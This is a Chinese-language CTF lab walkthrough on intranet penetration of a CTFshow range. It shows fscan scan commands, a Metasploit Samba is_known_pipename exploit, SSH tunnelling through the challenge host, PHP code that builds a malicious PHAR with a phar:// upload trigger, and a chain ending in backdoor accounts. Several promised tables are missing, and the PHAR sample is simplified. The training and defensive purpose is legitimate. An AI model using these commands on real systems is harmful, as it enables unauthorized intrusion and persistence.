手把手教你用fscan+MSF搞定CTFshow内网靶场（附PHAR攻击技巧）

内网渗透实战：从扫描到权限提升的完整攻防演练

1. 内网渗透基础与环境搭建

内网渗透测试是网络安全领域的重要技能，它模拟攻击者在获得初始访问权限后，如何进一步扩大战果、获取敏感数据或控制系统。与传统的Web渗透不同，内网渗透需要考虑网络拓扑、权限维持、横向移动等复杂因素。

典型内网渗透流程：

1. 信息收集：扫描内网存活主机、开放端口和服务
2. 漏洞利用：针对特定服务寻找可利用的漏洞
3. 权限提升：从普通用户提升到管理员权限
4. 横向移动：在内网中跳转到其他主机
5. 权限维持：建立持久化访问通道

对于初学者来说，CTF比赛中的内网靶场是绝佳的练习环境。它们模拟了真实企业网络中的常见配置，但又避免了法律风险。下面我们将使用fscan和Metasploit这两个经典工具，逐步演示如何攻克一个典型的内网靶场。

提示：所有渗透测试都应在授权环境下进行，未经许可的扫描和攻击可能违反法律。

2. 高效内网扫描与目标识别

2.1 fscan工具的高级用法

fscan是一款轻量级但功能强大的内网扫描工具，特别适合在权限受限的环境中使用。相比传统的Nmap，它的优势在于：

• 单文件可执行：无需安装依赖，直接上传即可运行
• 快速扫描：采用多线程技术，扫描速度极快
• 智能识别：能自动识别常见服务的版本信息

基本扫描命令：

./fscan -h 192.168.1.1/24

高级参数组合：

./fscan -h 192.168.1.1/24 -p 21,22,80,443,445,3306,3389 -o result.txt

参数说明：

• -h：指定扫描的IP范围
• -p：指定重点扫描的端口
• -o：将结果输出到文件

在实际CTF比赛中，扫描结果通常会显示多个内网主机。我们需要重点关注：

1. 开放445端口的主机：可能存在Samba服务漏洞
2. 开放80/443端口的主机：可能存在Web应用漏洞
3. 开放22端口的主机：可能存在SSH弱口令

2.2 结果分析与目标筛选

假设扫描结果如下表所示：

根据经验，我们应该优先检查Samba服务，因为它历史上存在多个严重漏洞。其次是Web服务，通常包含更多攻击面。

3. Samba服务攻击与Metasploit实战

3.1 利用Metasploit攻击Samba

Metasploit是渗透测试的标准工具，它集成了数百种漏洞利用模块。针对Samba服务的is_known_pipename漏洞，我们可以按照以下步骤操作：

启动Metasploit控制台：

msfconsole

选择并配置漏洞模块：

use exploit/linux/samba/is_known_pipename set RHOSTS 192.168.1.6 set LHOST <你的本地IP> exploit

关键参数说明：

如果攻击成功，我们将获得一个meterpreter会话，可以执行以下命令收集信息：

sysinfo # 查看系统信息 getuid # 查看当前权限 shell # 获取系统shell

3.2 常见问题与解决方案

1. 攻击失败：

   • 检查目标Samba版本是否匹配漏洞要求
   • 尝试调整SMBUser和SMBPass参数
   • 确认网络连通性，特别是防火墙设置

2. 会话不稳定：

   • 使用auto migrate自动迁移到稳定进程
   • 尝试不同的payload类型
   • 设置ExitOnSession false保持监听

3. 权限不足：

   • 使用post/multi/recon/local_exploit_suggester查找本地提权漏洞
   • 检查/etc/passwd和/etc/shadow文件权限

4. SSH隧道技术与内网Web服务访问

4.1 SSH端口转发详解

当内网Web服务无法直接访问时，SSH隧道是突破网络限制的有效手段。SSH支持三种转发模式：

1. 本地端口转发（-L）：将远程服务映射到本地
2. 远程端口转发（-R）：将本地服务暴露到远程
3. 动态端口转发（-D）：创建SOCKS代理

本地端口转发实战：

ssh -L 8085:192.168.1.5:80 ctfshow@pwn.challenge.ctf.show -p 28146

参数解析：

• 8085：本地监听端口
• 192.168.1.5:80：目标内网服务
• ctfshow@pwn.challenge.ctf.show：跳板机凭证
• -p 28146：SSH服务端口

执行后，访问http://localhost:8085即可访问内网的Web服务。

4.2 高级隧道技巧

保持SSH连接稳定：

ssh -o TCPKeepAlive=yes -o ServerAliveInterval=60 -L 8085:192.168.1.5:80 ctfshow@pwn.challenge.ctf.show -p 28146

通过代理建立SSH连接：

ssh -o "ProxyCommand=nc -X connect -x proxy.server:1080 %h %p" -L 8085:192.168.1.5:80 ctfshow@pwn.challenge.ctf.show -p 28146

多级跳板转发：

ssh -L 8085:192.168.1.5:80 -J jump1.example.com,jump2.example.com ctfshow@target

5. PHAR反序列化攻击深度解析

5.1 PHAR文件结构与反序列化原理

PHAR(PHP Archive)是PHP的打包格式，但它的元数据会被自动反序列化，这成为了一个危险的攻击面。PHAR文件的基本结构包括：

1. Stub：类似ELF头，必须以__HALT_COMPILER();结尾
2. Manifest：包含文件列表和元数据（会被反序列化）
3. 文件内容：实际打包的文件数据
4. 签名：可选的文件校验部分

恶意PHAR生成代码：

<?php class Exploit { private $command = 'system("whoami");'; } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'text'); $phar->setMetadata(new Exploit()); $phar->stopBuffering(); ?>

5.2 实战：通过文件上传触发PHAR反序列化

在CTF比赛中，常见的攻击路径如下：

1. 寻找文件上传点：上传伪装成图片的PHAR文件
2. 触发反序列化：通过phar://协议访问上传的文件
3. 执行任意代码：利用反序列化漏洞执行系统命令

具体步骤：

1. 生成恶意PHAR文件并重命名为.png后缀
2. 上传到Web应用的文件管理功能
3. 通过应用功能触发phar解析：

   /api/index.php?action=view&file=phar:///path/to/uploaded.png

防御措施：

• 禁用phar://协议流
• 对上传文件进行严格的内容检查
• 使用finfo函数而非文件扩展名判断类型
• 避免在危险函数中使用用户可控输入

6. 综合实战：从外网到内网的完整渗透

结合上述技术，我们可以构建一个完整的攻击链：

1. 初始访问：通过Web漏洞获取SSH凭证
2. 内网扫描：上传fscan识别内网服务
3. 服务攻击：利用Metasploit攻破Samba服务
4. 横向移动：通过SSH隧道访问内部Web应用
5. 权限提升：利用PHAR反序列化获取Webshell
6. 信息收集：查找数据库凭证和敏感文件
7. 权限维持：创建后门账户或计划任务

典型内网渗透工具包：

在实际渗透测试中，每个步骤都可能遇到各种障碍。重要的是保持耐心，尝试多种方法，并详细记录每个发现，这些信息可能在后续步骤中发挥关键作用。